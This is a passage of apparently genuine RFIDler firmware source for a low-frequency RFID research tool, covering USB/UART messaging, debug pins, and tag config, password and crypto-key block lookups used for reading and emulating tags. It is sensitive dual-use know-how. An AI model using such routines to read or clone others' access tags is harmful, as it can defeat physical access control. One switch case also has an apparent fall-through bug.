ticks)\n        ;\n}\n\nvoid Delay_us(unsigned long us)\n{\n    unsigned long ticks= us * TimeScaler2;\n\n    while (ticks--)\n        ;\n}\n\n// end optimisation\n#pragma GCC reset_options\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/comms.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n// external comms routines:\n//\n// USB CDC for CLI & API\n// reader output - will send data to appropriate channels according to user selected options\n\n#include \"HardwareProfile.h\"\n#include \"USB/usb.h\"\n#include \"USB/usb_device.h\"\n#include \"USB/usb_function_cdc.h\"\n#include \"rfidler.h\"\n#include \"uart3.h\"\n#include \"comms.h\"\n\n// counter used by comms status as a global so external routines can use it for rudimentary entropy\nunsigned int Led_Count= 0;\n\n// master user messaging - this routine will message to current I/O method\n// (USB or UART)\nvoid UserMessage(BYTE *format, BYTE *message)\n{\n    BYTE tmp[TMP_SMALL_BUFF_LEN];\n\n    snprintf(tmp, TMP_SMALL_BUFF_LEN, format, message);\n    if(CommsChannel == COMMS_USB)\n        SendUSBMessage(tmp, strlen(tmp));\n    if(CommsChannel == COMMS_UART)\n        SendUART3Message(tmp, strlen(tmp));\n}\n\n// send raw binary\nvoid UserBinary(char *message, unsigned int length)\n{\n    if(CommsChannel == COMMS_USB)\n        SendUSBMessage(message, length);\n    if(CommsChannel == COMMS_UART)\n        SendUART3Message(message, length);\n}\n\n// send raw binary byte\nvoid UserBinaryByte(BYTE message)\n{\n    if(CommsChannel == COMMS_USB)\n        SendUSBMessage(&message, 1);\n    if(CommsChannel == COMMS_UART)\n        SendUART3Message(&message, 1);\n}\n\nvoid UserMessageNum(BYTE *message, unsigned long num)\n{\n    BYTE tmp[TMP_SMALL_BUFF_LEN];\n\n    sprintf(tmp, message, num);\n\n    if(CommsChannel == COMMS_USB)\n        UserMessage(\"%s\", tmp);\n}\n\n// FIXME: implement for serial comms\nBYTE GetUserMessage(char *buffer, BYTE len)\n{\n    if(CommsChannel == COMMS_USB)\n    {\n        if (mUSBUSARTIsTxTrfReady())\n            return getsUSBUSART(buffer, len);\n        else\n            return 0;\n    }\n    return 0;\n}\n\nvoid SendUART3Message(unsigned char *message, unsigned int len)\n{\n    while (len--)\n         UART3PutChar(*(message++));\n}\n\n// read bytes from UART and return after timeout - set timeout to something reasonably\n// small so higher level routine can capture single keystrokes without feeling klunky\nunsigned int GetUART3Message(unsigned char *message, unsigned int timeout)\n{\n    unsigned int time;\n    unsigned char p= 0;\n\n    // make sure we return a NULL string if we timeout\n    *message= '\\0';\n\n    GetTimer_us(RESET);\n    while(!UART3IsPressed())\n    {\n        time= GetTimer_us(NO_RESET);\n        if (time > timeout)\n            return 0;\n    }\n\n    GetTimer_us(RESET);\n    while(p < 255)\n    {\n        time= GetTimer_us(NO_RESET);\n        if (time > timeout)\n            break;\n        if(UART3IsPressed())\n            message[p]= UART3GetChar();\n        else\n            continue;\n        if(message[p] == '\\0')\n            break;\n        p++;\n    }\n    message[p]= '\\0';\n    // empty buffer (remaining newline etc.)\n    while(UART3IsPressed())\n        UART3GetChar();\n\n    return strlen(message);\n}\n\nvoid SendUSBMessage(char *message, unsigned int len)\n{\n    BYTE tosend;\n\n    // give up if the other end isn't listening!\n    if(!USBUSARTIsTxTrfReady())\n        return;\n\n    while (len)\n    {\n        if(len <= (int) 255)\n            tosend= (BYTE) len;\n        else\n            tosend= (BYTE) 255;\n\n        putUSBUSART(message, tosend);\n        message += tosend;\n        len -= tosend;\n\n        // don't return until message is sent otherwise we get problems\n        // with buffer being overwitten - e.g. LIST\n        while (!USBUSARTIsTxTrfReady())\n            CDCTxService();\n    }\n}\n\nBYTE get_prompt(unsigned char *prompt)\n{\n    BYTE tmp;\n\n    UserMessage(\"\\r\\n%s and hit <RETURN> to continue, or any other key to abort...\", prompt);\n    while(42)\n        if (GetUserMessage(&tmp, 1))\n        {\n            UserMessage(\"%s\", \"\\r\\n\");\n            return (tmp == '\\r');\n        }\n}\n\n// blink USB/Comms lights to show current status:\n//\n// USB blinking - powered by USB, comms over USB possible\n// USB solid - powered by USB, comms over USB not possible\n// Comms blinking - comms currently over USB\n// if Comms and USB blink together we are in API mode, otherwise CLI\n// FIXME: need a similar stategy for UART\n// Comms solid - comms currently over UART\nvoid BlinkCommsStatus(void)\n{\n\n    if(Led_Count == 0)\n        Led_Count = 65535;\n\n    Led_Count--;\n\n    if(USBSuspendControl == 1)\n    {\n        if(Led_Count == 0)\n        {\n            mLED_USB_Toggle();\n            if(mGetLED_USB())\n            {\n                mLED_Comms_On();\n            }\n            else\n            {\n                mLED_Comms_Off();\n            }\n        }//end if\n    }\n    else\n    {\n        if(USBDeviceState == DETACHED_STATE)\n        {\n            mLED_Both_Off();\n        }\n        else if(USBDeviceState == ATTACHED_STATE)\n        {\n            mLED_Both_On();\n        }\n        else if(USBDeviceState == POWERED_STATE)\n        {\n            mLED_Only_USB_On();\n        }\n        else if(USBDeviceState == DEFAULT_STATE)\n        {\n            mLED_Only_Comms_On();\n        }\n        else if(USBDeviceState == ADDRESS_STATE)\n        {\n            if(Led_Count == 0)\n            {\n                mLED_USB_Toggle();\n                mLED_Comms_Off();\n            }//end if\n        }\n        else if(USBDeviceState == CONFIGURED_STATE)\n        {\n            if(Led_Count == 0)\n            {\n                mLED_USB_Toggle();\n                if(mGetLED_USB() ^ Interface)\n                {\n                    mLED_Comms_Off();\n                }\n                else\n                {\n                    mLED_Comms_On();\n                }\n            }//end if\n        }//end if(...)\n    }//end if(UCONbits.SUSPND...)\n\n    // are we talking over UART?\n    if (CommsChannel == COMMS_UART)\n        mLED_Comms_On();\n\n}\n\n// check if user is trying to interrupt\nBOOL get_user_abort(void)\n{\n    if (GetUserMessage(Comms_In_Buffer, 64))\n        return TRUE;\n\n    return FALSE;\n}\n\n// send end of data\nvoid eod(void)\n{\n    if(Interface == INTERFACE_API)\n        UserMessage(\"%s\", \"*\\r\\n\");\n    else\n        UserMessage(\"%s\", \"\\r\\n\");\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/config.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"config.h\"\n#include \"em.h\"\n#include \"read.h\"\n#include \"hitag.h\"\n#include \"q5.h\"\n#include \"t55x7.h\"\n\n// get the config block number\nBOOL config_block_number(unsigned int *block, BYTE tagtype)\n{\n    switch (tagtype)\n    {\n        case TAG_TYPE_EM4X05:\n            *block= EM4X05_CONFIG_BLOCK_NUM;\n            return TRUE;\n            \n        case TAG_TYPE_HITAG1:\n            *block= HITAG1_CONFIG_BLOCK_NUM;\n            return TRUE;\n\n        case TAG_TYPE_HITAG2:\n            *block= HITAG2_CONFIG_BLOCK_NUM;\n            return TRUE;\n\n        case TAG_TYPE_Q5:\n            *block= Q5_CONFIG_BLOCK_NUM;\n\n        case TAG_TYPE_T55X7:\n            *block= T55X7_CONFIG_BLOCK_NUM;\n            return TRUE;\n\n        default:\n            return FALSE;\n    }\n}\n\n// get the first user-data block number\nBOOL config_user_block(unsigned int *block, BYTE tagtype)\n{\n    switch (tagtype)\n    {\n        case TAG_TYPE_EM4X05:\n            *block= EM4X05_USER_DATA_BLOCK_NUM;\n            return TRUE;\n            \n        case TAG_TYPE_HITAG1:\n            *block= HITAG1_USER_DATA_BLOCK_NUM;\n            return TRUE;\n\n        case TAG_TYPE_HITAG2:\n            *block= HITAG2_USER_DATA_BLOCK_NUM;\n            return TRUE;\n\n        case TAG_TYPE_Q5:\n            *block= Q5_USER_DATA_BLOCK_NUM;\n            return TRUE;\n\n        case TAG_TYPE_T55X7:\n            *block= T55X7_USER_DATA_BLOCK_NUM;\n            return TRUE;\n\n        default:\n            return FALSE;\n    }\n}\n\n// get the password block number\nBOOL pw_block_number(unsigned int *block, BYTE tagtype)\n{\n    switch (tagtype)\n    {\n        // explicitly return FALSE as password block (2) is always Write Only\n        // so any attempt to read it will fail\n        case TAG_TYPE_EM4X05:\n            return FALSE;\n            \n        case TAG_TYPE_HITAG2:\n            *block= HITAG2_PW_BLOCK_NUM;\n            return TRUE;\n\n        case TAG_TYPE_Q5:\n            *block= Q5_PW_BLOCK_NUM;\n            return TRUE;\n\n        case TAG_TYPE_T55X7:\n            *block= T55X7_PW_BLOCK_NUM;\n            return TRUE;\n\n        default:\n            return FALSE;\n    }\n}\n\n// get the additional info block number\nBOOL info_block_number(unsigned int *block, BYTE tagtype)\n{\n    switch (tagtype)\n    {\n        // customer code, tag type, capacitor\n        case TAG_TYPE_EM4X05:\n            *block= EM4X05_INFO_BLOCK_NUM;\n            return TRUE;\n            \n        // use this to show crypto key\n        case TAG_TYPE_HITAG2:\n            *block= HITAG2_KEY_BLOCK_NUM;\n            return TRUE;\n\n        default:\n            return FALSE;\n    }\n}\n\n// get current config block from tag\nBOOL get_config_block(BYTE *out, BYTE tagtype)\n{\n    int block;\n\n    if(config_block_number(&block, tagtype))\n        return read_tag(out, block, block);\n    return FALSE;\n}\n\n// get current password block from tag\nBOOL get_pw_block(BYTE *out, BYTE tagtype)\n{\n    int block;\n\n    if(pw_block_number(&block, tagtype))\n        return read_tag(out, block, block);\n    \n    return FALSE;\n}\n\n// get additional info block from tag\nBOOL get_info_block(BYTE *out, BYTE tagtype)\n{\n    int block;\n\n    if(info_block_number(&block, tagtype))\n        return read_tag(out, block, block);\n    \n    return FALSE;\n}\n\n// get a config block suitable for emulating\nBOOL config_block(BYTE *config, BYTE target_tagtype, BYTE emulator_tagtype)\n{\n    switch (emulator_tagtype)\n    {\n        case TAG_TYPE_EM4X05:\n            return em4x05_emulate_config_block(config, target_tagtype);\n            \n        case TAG_TYPE_HITAG2:\n            return hitag2_emulate_config_block(config, target_tagtype);\n\n        case TAG_TYPE_Q5:\n            return q5_emulate_config_block(config, target_tagtype);\n\n        case TAG_TYPE_T55X7:\n            return t55x7_emulate_config_block(config, target_tagtype);\n\n        default:\n            return FALSE;\n    }\n}\n\n// display contents of tag config block if present\nBOOL config_block_show(BYTE *config, BYTE *password, BYTE *info, BYTE tagtype)\n{\n    switch(tagtype)\n    {\n        case TAG_TYPE_EM4X05:\n            return em4x05_config_block_show(config, info);\n            \n        case TAG_TYPE_HITAG2:\n            return hitag2_config_block_show(config, password, info);\n            \n        case TAG_TYPE_Q5:\n            return q5_config_block_show(config, password);\n            \n        case TAG_TYPE_T55X7:\n            return t55x7_config_block_show(config, password);\n            \n        default:\n            return FALSE;\n    }\n}"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/debug_pins.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"debug_pins.h\"\n\nBOOL debug_get(BYTE pin)\n{\n    BOOL state;\n\n    switch(pin)\n    {\n        case 1:\n            state= DEBUG_PIN_1;\n            break;\n        case 2:\n            state= DEBUG_PIN_2;\n            break;\n        case 3:\n            state= DEBUG_PIN_3;\n            break;\n        case 4:\n            state= DEBUG_PIN_4;\n            break;\n        default:\n            return FALSE;\n    }\n    return state;\n}\n\nBOOL debug_set(BYTE pin, BOOL state)\n{\n    switch(pin)\n    {\n        case 0:\n            DEBUG_PIN_1= state;\n            DEBUG_PIN_2= state;\n            DEBUG_PIN_3= state;\n            DEBUG_PIN_4= state;\n            break;\n        case 1:\n            DEBUG_PIN_1= state;\n            break;\n        case 2:\n            DEBUG_PIN_2= state;\n            break;\n        case 3:\n            DEBUG_PIN_3= state;\n            break;\n        case 4:\n            DEBUG_PIN_4= state;\n            break;\n        default:\n            return FALSE;\n            break;\n    }\n    return TRUE;\n}\n\nBOOL debug_toggle(BYTE pin)\n{\n    BOOL state;\n\n    state= debug_get(pin);\n    return debug_set(pin, !state);\n}\n\nBOOL debug_on(BYTE pin)\n{\n    return debug_set(pin, DEBUG_PIN_ON);\n}\n\nBOOL debug_off(BYTE pin)\n{\n    return debug_set(pin, DEBUG_PIN_OFF);\n}\n\nvoid debug_show(void)\n{\n    BYTE i;\n\n    for(i= 1 ; i < 5 ; ++i)\n    {\n        UserMessageNum(\"Debug pin %d: \", i);\n        UserMessage(\"%s\\r\\n\", debug_get(i) ? \"OFF\" : \"ON\");\n    }\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/detect.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell 